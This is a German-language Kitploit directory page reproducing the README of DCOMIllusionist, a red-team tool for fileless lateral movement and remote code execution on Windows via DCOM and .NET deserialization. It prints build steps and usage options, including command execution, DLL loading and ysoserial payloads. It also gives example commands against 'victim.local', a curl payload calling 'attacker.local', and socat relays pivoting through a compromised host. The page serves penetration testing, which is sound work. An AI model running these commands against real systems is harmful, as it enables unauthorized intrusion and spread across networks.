Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
DCOMIllusionist — DCOM In-Memory- und dateilose Laterale-Bewegungstechniken durch .Net-Deserilization | Kitploit
Tools/GitHubGitHub/synacktiv/dcomillusionist
Privilege EscalationExploitationLaterale BewegungPost-ExploitationPenetrationstestsCommand and ControlAuthentifizierungRed TeamingRemote-Access-ToolPayload-Entwicklung
GitHubsynacktiv/dcomillusionist
2833310vor 3 MonatenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

DCOMIllusionist

DCOM In-Memory- und dateilose Laterale-Bewegungstechniken durch .Net-Deserilization

Repository anzeigen
🎩✨🪄

DCOMIllusionist

Windows-Technik für dateilose laterale Bewegung.

Einleitung  •  Build  •  Verwendung  •  Technische Details  •  Danksagungen


Einleitung

Dieses Tool ermöglicht die Remote-Codeausführung auf einem Windows-Rechner, sofern Sie über administrative Rechte verfügen. Es nutzt DCOM und das Verhalten von .NET-DCOM-Servern, die eingehende Objekte automatisch deserialisieren. Dies ermöglicht die Ausführung beliebiger Befehle oder das Laden von DLLs, ohne auf die Festplatte zu schreiben.

Ursprünglich von James Forshaw als Technik zur Privilegienausweitung entdeckt, wurde diese Methode für laterale Bewegung angepasst, indem bestimmte Registrierungsschlüssel remote geändert werden. Zusätzlich unterstützt sie die sitzungsübergreifende Ausnutzung über DCOM, sodass beliebige Befehle in einer anderen Benutzersitzung im Sicherheitskontext dieser Sitzung ausgeführt werden können.

Es funktioniert auf Workstations und Servern, jedoch ist für diese Technik ein Netzwerkzugriff zwischen dem Zielrechner und einem vom Angreifer kontrollierten Rechner erforderlich.

Weitere Details in diesem Abschnitt.

Build

Ein Release ist verfügbar, oder Sie können es manuell erstellen:

PS F:\> git clone https://github.com/synacktiv/DCOMIllusionist.git
PS F:\> cd DCOMIllusionist
PS F:\DCOMIllusionist> dotnet publish -c Release -r win-x64

Verwendung

PS F:\> runas /u:LAB\adm /netonly powershell.exe
PS F:\> ./DCOMIllusionist.exe -t 10.10.10.10 --session 1 --curl http://attacker.local --attacker-sid <sid-adm>

[!WICHTIG]
Für die erfolgreiche Nutzung dieses Tools ist administrativer Zugriff sowohl auf dem angreifenden Host (über eine erhöhte Shell) als auch auf dem Zielrechner erforderlich.

Verwendung:
  DCOMIllusionist.exe [optionen] -t <ziel> (--ps-exec | --exec | --curl | --file-write-src | --load-dll | --yso-b64 | --test-network | --list-sessions)

Optionen:
  -h, --help                        Hilfe anzeigen und beenden
  -d, --debug                       Debug-Logging aktivieren
  -t, --target <wert>               Zielhostname oder -IP festlegen
  -p, --port <wert>                 Zielport festlegen (Standard: 49765)
      --clsid <wert>                Eine CLSID angeben (ohne geschweifte Klammern)
      --appid <wert>                Eine AppID angeben (ohne geschweifte Klammern)
  -s, --session <wert>              Eine Sitzungskennung angeben
   -l --listen <host>               Listener-FQDN oder -IP angeben
  -g, --gadget <wert>               Zu verwendendes Gadget angeben
      --attacker-sid <wert>         Die SID des Angreifers festlegen
      --no-port-check               Überprüfung der Portverfügbarkeit deaktivieren
      --restore-backup <pfad>       Registrierung aus Sicherung wiederherstellen
      --local-registry-only         Nur lokale Registrierungsänderungen durchführen
      --remote-registry-only        Nur entfernte Registrierungsänderungen durchführen
      --skip-local-registry-setup   Lokale Registrierungseinrichtung überspringen
      --skip-remote-registry-setup  Entfernte Registrierungseinrichtung überspringen
      --hku                         Entfernte Registrierungsoperationen auf HKCU statt HKLM durchführen
      --fake-clsid                  Gefälschte CLSID mit gefälschter AppId erstellen

Angriffe:
      --ps-exec <argumente>         Einen Befehl remote mit PSExec ausführen
      --exec <befehl>               Einen Befehl remote ausführen
      --exec-args <argumente>       Argumente für den Befehl
      --curl <url>                  Webanfrage im Curl-Stil als Payload verwenden
      --file-write-src <quelle>     Zu schreibende Datei
      --file-write-dst <ziel>       Zielpfad
      --load-dll <pfad>             Eine DLL in den entfernten Prozess laden
      --dll-class <wert>            Klasse in der DLL, die ausgeführt werden soll (inkl. Namespace)
      --dll-method <wert>           Statische Methode in der Klasse, die ausgeführt werden soll (Standard: Run)
      --yso-b64 <b64>               Base64-kodierten ysoserial-Payload ausführen
      --test-network                Netzwerkzugriff vom Ziel zum Angreiferrechner überprüfen
      --list-sessions               Interaktive Sitzungen auf dem Ziel auflisten

Beispiele:
    DCOMIllusionist.exe --target 192.168.1.10 --exec "whoami"
    DCOMIllusionist.exe -t victim.local -p 1337 --listen other.attacker.local --load-dll "payload.dll" --dll-class "Exploit" --session 2

CLSID:
    BFFECCA7-4069-49F9-B5AB-7CCBB078ED91 - System.ServiceModel.Internal.TransactionBridge           (Standard)
    2A7B042D-578A-4366-9A3D-154C0498458E - System.Management.Instrumentation.ManagedCommonProvider
    37708080-3519-4ED6-91D5-A64B643863FB - Windows.Help.Runtime.CatalogRead

AppId:
    577289B6-6E75-11DF-86F8-18A905160FE0 - Windows Push Notification Platform Connection Provider   (Standard)
    63766597-1825-407D-8752-098F33846F46 - CentennialLifetimeManagerConsoleOperator
    06C792F8-6212-4F39-BF70-E8C0AC965C23 - Benutzerkontensteuerung                                  (Interaktiver Benutzer)
    D4872B74-3AFC-47CD-B8A2-9E4F998539BC - Remote Cloud Store Factory                               (Interaktiver Benutzer)

--session

Wie zuvor erläutert, kann eine Sitzung angegeben werden, um einen beliebigen Befehl in der Sitzung eines anderen Benutzers auszuführen.

[!WARNUNG] Dies funktioniert nur mit AppIDs, die für die Ausführung unter der Identität des interaktiven Benutzers konfiguriert sind. Dies wird automatisch erledigt, es ist nicht notwendig, das --appid-Argument anzugeben, da das Tool standardmäßig die AppID verwendet, die mit der Benutzerkontensteuerung verknüpft ist.

[!WICHTIG] Dies funktioniert nur, wenn der angreifende Rechner einer Domäne beigetreten ist. Weitere Details hier.

--list-sessions

Listet entfernte interaktive und aktive Sitzungen auf dem Ziel mittels WTSEnumerateSessions auf.

--listen

Wenn der Zielrechner den Host des Angreifers nicht direkt erreichen kann, schlägt der Exploit fehl. Es ist jedoch möglich, einen Zwischenrechner anzugeben, den das Ziel erreichen kann. Mit Tools wie socat kann der Datenverkehr dann von diesem Zwischenrechner zum Host des Angreifers weitergeleitet werden.

listen

  • Auf dem kompromittierten Rechner:
$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:attacker.local:135
$ socat -v TCP-LISTEN:1337,fork,reuseaddr TCP:attacker.local:1337
  • Auf dem Angreiferrechner:
PS F:\> ./DCOMIllusionist.exe -t victim.local -p 1337 --listen compromised.local --ps-exec whoami

--attacker-sid

Bei der Ausführung des Exploits aus einer runas /netonly-Shell heraus kann die zugehörige Identität nicht automatisch abgerufen werden. Daher ist es erforderlich, diese explizit mit der Option --attacker-sid anzugeben, damit der Angriff erfolgreich ist.

--exec

--exec kann mit --exec-args verwendet werden, um beliebige Binärdateien auf dem Ziel auszuführen:

PS F:\> ./DCOMIllusionist.exe -t victim.local --exec powershell.exe --exec-args "-C calc"

[!HINWEIS] --ps-exec ist lediglich ein Wrapper dafür, dasselbe kann erreicht werden mit: --ps-exec calc

--curl

Tool herunterladen